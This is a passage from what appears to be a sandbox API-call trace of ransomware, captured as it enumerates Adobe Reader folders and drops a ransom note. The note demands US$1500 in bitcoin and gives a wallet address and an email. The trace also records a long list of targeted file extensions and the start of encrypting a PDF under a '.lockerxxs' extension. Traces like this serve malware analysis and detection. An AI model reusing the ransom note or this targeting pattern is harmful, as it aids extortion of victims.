cAlternateFileName="DEFAUL~1.PDF")) returned 0 [0068.417] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0068.417] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x3, cFileName="HRV", cAlternateFileName="")) returned 1 [0068.417] lstrcmpA (lpString1=".", lpString2="HRV") returned -1 [0068.417] lstrcmpA (lpString1="..", lpString2="HRV") returned -1 [0068.417] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\*.*") returned="*.*" [0068.417] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\", lpString2="HRV" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV" [0068.417] lstrlenA (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV") returned 63 [0068.417] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xed0003ee, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502658 [0068.418] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0068.418] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4e0000, cFileName="..", cAlternateFileName="")) returned 1 [0068.418] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0068.418] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0068.418] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x43b5, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0068.418] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0068.418] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AdobeID.pdf") returned 1 [0068.418] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AdobeID.pdf") returned 1 [0068.418] lstrcmpiA (lpString1="", lpString2="AdobeID.pdf") returned -1 [0068.418] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\*.*") returned="*.*" [0068.418] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\" [0068.418] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\") returned="" [0068.418] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\HOW TO DECRYPT FILES.txt" [0068.418] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hrv\\how to decrypt files.txt")) returned 0xffffffff [0068.419] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hrv\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0068.420] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0068.420] WriteFile (in: hFile=0x94, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0068.421] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0068.422] CloseHandle (hObject=0x94) returned 1 [0068.422] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\", lpString2="AdobeID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf" [0068.422] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.ems") returned 0 [0068.422] lstrlenA (lpString="*.ems") returned 5 [0068.422] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.db") returned 0 [0068.422] lstrlenA (lpString="*.db") returned 4 [0068.422] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.dbf") returned 0 [0068.422] lstrlenA (lpString="*.dbf") returned 5 [0068.422] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.myox") returned 0 [0068.422] lstrlenA (lpString="*.myox") returned 6 [0068.422] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.myo") returned 0 [0068.423] lstrlenA (lpString="*.myo") returned 5 [0068.423] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.qbw") returned 0 [0068.423] lstrlenA (lpString="*.qbw") returned 5 [0068.423] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.qbb") returned 0 [0068.423] lstrlenA (lpString="*.qbb") returned 5 [0068.423] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.qbm") returned 0 [0068.423] lstrlenA (lpString="*.qbm") returned 5 [0068.423] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.qbo") returned 0 [0068.423] lstrlenA (lpString="*.qbo") returned 5 [0068.423] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.qbx") returned 0 [0068.423] lstrlenA (lpString="*.qbx") returned 5 [0068.423] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.qba") returned 0 [0068.423] lstrlenA (lpString="*.qba") returned 5 [0068.423] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.qby") returned 0 [0068.423] lstrlenA (lpString="*.qby") returned 5 [0068.423] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.qbj") returned 0 [0068.423] lstrlenA (lpString="*.qbj") returned 5 [0068.423] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.ofx") returned 0 [0068.423] lstrlenA (lpString="*.ofx") returned 5 [0068.423] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.qif") returned 0 [0068.424] lstrlenA (lpString="*.qif") returned 5 [0068.424] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.mye") returned 0 [0068.424] lstrlenA (lpString="*.mye") returned 5 [0068.424] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.mbox") returned 0 [0068.424] lstrlenA (lpString="*.mbox") returned 6 [0068.424] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.eml") returned 0 [0068.424] lstrlenA (lpString="*.eml") returned 5 [0068.424] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.pst") returned 0 [0068.424] lstrlenA (lpString="*.pst") returned 5 [0068.424] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.ost") returned 0 [0068.424] lstrlenA (lpString="*.ost") returned 5 [0068.424] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.idx") returned 0 [0068.424] lstrlenA (lpString="*.idx") returned 5 [0068.424] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.dbx") returned 0 [0068.424] lstrlenA (lpString="*.dbx") returned 5 [0068.424] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.sql") returned 0 [0068.424] lstrlenA (lpString="*.sql") returned 5 [0068.424] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.mdb") returned 0 [0068.424] lstrlenA (lpString="*.mdb") returned 5 [0068.424] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.fdb") returned 0 [0068.425] lstrlenA (lpString="*.fdb") returned 5 [0068.425] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.wab") returned 0 [0068.425] lstrlenA (lpString="*.wab") returned 5 [0068.425] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.dat") returned 0 [0068.425] lstrlenA (lpString="*.dat") returned 5 [0068.425] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.txt") returned 0 [0068.425] lstrlenA (lpString="*.txt") returned 5 [0068.425] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.jpeg") returned 0 [0068.425] lstrlenA (lpString="*.jpeg") returned 6 [0068.425] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.jpg") returned 0 [0068.425] lstrlenA (lpString="*.jpg") returned 5 [0068.425] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.png") returned 0 [0068.425] lstrlenA (lpString="*.png") returned 5 [0068.425] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.php") returned 0 [0068.425] lstrlenA (lpString="*.php") returned 5 [0068.425] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.cs") returned 0 [0068.425] lstrlenA (lpString="*.cs") returned 4 [0068.425] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.cpp") returned 0 [0068.425] lstrlenA (lpString="*.cpp") returned 5 [0068.425] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.rar") returned 0 [0068.425] lstrlenA (lpString="*.rar") returned 5 [0068.425] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.zip") returned 0 [0068.425] lstrlenA (lpString="*.zip") returned 5 [0068.426] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.html") returned 0 [0068.426] lstrlenA (lpString="*.html") returned 6 [0068.426] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.htm") returned 0 [0068.426] lstrlenA (lpString="*.htm") returned 5 [0068.426] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.xlsx") returned 0 [0068.426] lstrlenA (lpString="*.xlsx") returned 6 [0068.426] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.xls") returned 0 [0068.426] lstrlenA (lpString="*.xls") returned 5 [0068.426] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.mp4") returned 0 [0068.426] lstrlenA (lpString="*.mp4") returned 5 [0068.426] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.ppt") returned 0 [0068.426] lstrlenA (lpString="*.ppt") returned 5 [0068.426] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.pptx") returned 0 [0068.426] lstrlenA (lpString="*.pptx") returned 6 [0068.426] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.doc") returned 0 [0068.426] lstrlenA (lpString="*.doc") returned 5 [0068.426] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.dot") returned 0 [0068.426] lstrlenA (lpString="*.dot") returned 5 [0068.426] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.docx") returned 0 [0068.427] lstrlenA (lpString="*.docx") returned 6 [0068.427] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.7z") returned 0 [0068.427] lstrlenA (lpString="*.7z") returned 4 [0068.427] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.tar") returned 0 [0068.427] lstrlenA (lpString="*.tar") returned 5 [0068.427] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.bz2") returned 0 [0068.427] lstrlenA (lpString="*.bz2") returned 5 [0068.427] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.gz") returned 0 [0068.427] lstrlenA (lpString="*.gz") returned 4 [0068.427] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.mkv") returned 0 [0068.427] lstrlenA (lpString="*.mkv") returned 5 [0068.427] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.eml") returned 0 [0068.427] lstrlenA (lpString="*.eml") returned 5 [0068.427] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.msg") returned 0 [0068.427] lstrlenA (lpString="*.msg") returned 5 [0068.427] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.edb") returned 0 [0068.427] lstrlenA (lpString="*.edb") returned 5 [0068.427] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.accdb") returned 0 [0068.427] lstrlenA (lpString="*.accdb") returned 7 [0068.427] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.odb") returned 0 [0068.427] lstrlenA (lpString="*.odb") returned 5 [0068.427] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.java") returned 0 [0068.428] lstrlenA (lpString="*.java") returned 6 [0068.428] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.asm") returned 0 [0068.428] lstrlenA (lpString="*.asm") returned 5 [0068.428] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.pfx") returned 0 [0068.428] lstrlenA (lpString="*.pfx") returned 5 [0068.428] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.pem") returned 0 [0068.428] lstrlenA (lpString="*.pem") returned 5 [0068.428] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.p12") returned 0 [0068.428] lstrlenA (lpString="*.p12") returned 5 [0068.428] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.gpg") returned 0 [0068.428] lstrlenA (lpString="*.gpg") returned 5 [0068.428] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.vsd") returned 0 [0068.428] lstrlenA (lpString="*.vsd") returned 5 [0068.428] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.odg") returned 0 [0068.428] lstrlenA (lpString="*.odg") returned 5 [0068.428] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.raw") returned 0 [0068.428] lstrlenA (lpString="*.raw") returned 5 [0068.428] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.nef") returned 0 [0068.428] lstrlenA (lpString="*.nef") returned 5 [0068.428] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.svg") returned 0 [0068.428] lstrlenA (lpString="*.svg") returned 5 [0068.428] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.psd") returned 0 [0068.428] lstrlenA (lpString="*.psd") returned 5 [0068.428] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.vmx") returned 0 [0068.429] lstrlenA (lpString="*.vmx") returned 5 [0068.429] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.vmdk") returned 0 [0068.429] lstrlenA (lpString="*.vmdk") returned 6 [0068.429] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.vdi") returned 0 [0068.429] lstrlenA (lpString="*.vdi") returned 5 [0068.429] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.lay6") returned 0 [0068.429] lstrlenA (lpString="*.lay6") returned 6 [0068.429] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.mpeg") returned 0 [0068.429] lstrlenA (lpString="*.mpeg") returned 6 [0068.429] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.djvu") returned 0 [0068.429] lstrlenA (lpString="*.djvu") returned 6 [0068.429] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.tiff") returned 0 [0068.429] lstrlenA (lpString="*.tiff") returned 6 [0068.429] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.backup") returned 0 [0068.429] lstrlenA (lpString="*.backup") returned 8 [0068.429] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", pszSpec="*.pdf") returned 1 [0068.429] lstrlenA (lpString="*.pdf") returned 5 [0068.429] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf" [0068.429] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf" [0068.429] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf." [0068.429] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf.lockerxxs" [0068.429] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hrv\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0068.430] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x43b5 [0068.430] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x9b058100, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x80a2abc0, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x9b058100, dwHighDateTime=0x1cb84b4)) returned 1 [0068.430] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0068.430] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x438f, lpOverlapped=0x0) returned 1 